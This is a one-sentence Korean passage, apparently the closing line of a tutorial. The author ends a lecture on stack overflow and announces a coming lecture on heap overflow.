여기까지 stack overflow 강좌를 마치겠습니다. 그럼 몇일 뒤에 heap overflow를 강좌하겠습니다.